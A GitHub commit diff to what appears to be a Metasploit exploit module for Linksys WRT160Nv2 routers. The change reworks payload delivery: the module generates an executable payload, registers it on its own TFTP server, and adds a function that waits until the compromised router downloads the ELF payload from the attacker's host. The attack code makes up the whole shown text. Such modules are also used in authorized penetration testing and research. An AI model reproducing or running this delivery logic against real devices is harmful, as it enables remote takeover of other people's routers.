Skip to content

Commit aee5b02

Browse files
author
m-1-k-3
committed
tftp download check
1 parent 09bf23f commit aee5b02

File tree

1 file changed

+23
-5
lines changed

1 file changed

+23
-5
lines changed

modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -146,14 +146,13 @@ def exploit
146146

147147
#thx to Juan for his awesome work on the mipsel elf support
148148
@pl = generate_payload_exe
149-
@elf_sent = false
150149

151150
#
152151
# start our server
153152
#
154153
print_status("#{rhost}:#{rport} - Starting up our TFTP service")
155154
@tftp = Rex::Proto::TFTP::Server.new
156-
@tftp.register_file(downfile,@pl)
155+
@tftp.register_file(downfile,@pl,true)
157156
@tftp.start
158157

159158
#
@@ -170,9 +169,13 @@ def exploit
170169
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
171170
end
172171

173-
# wait for payload download
174-
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
175-
select(nil, nil, nil, datastore['DELAY'])
172+
# wait for payload download
173+
if (datastore['DOWNHOST'])
174+
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
175+
select(nil, nil, nil, datastore['DELAY'])
176+
else
177+
wait_linux_payload
178+
end
176179
register_file_for_cleanup("/tmp/#{filename}")
177180

178181
#
@@ -196,4 +199,19 @@ def exploit
196199
end
197200

198201
end
202+
203+
# wait for the data to be sent
204+
def wait_linux_payload
205+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
206+
207+
waited = 0
208+
while (not @tftp.files.length == 0)
209+
puts @tftp.files.length
210+
select(nil, nil, nil, 1)
211+
waited += 1
212+
if (waited > datastore['DELAY'])
213+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
214+
end
215+
end
216+
end
199217
end

0 commit comments

Comments
 (0)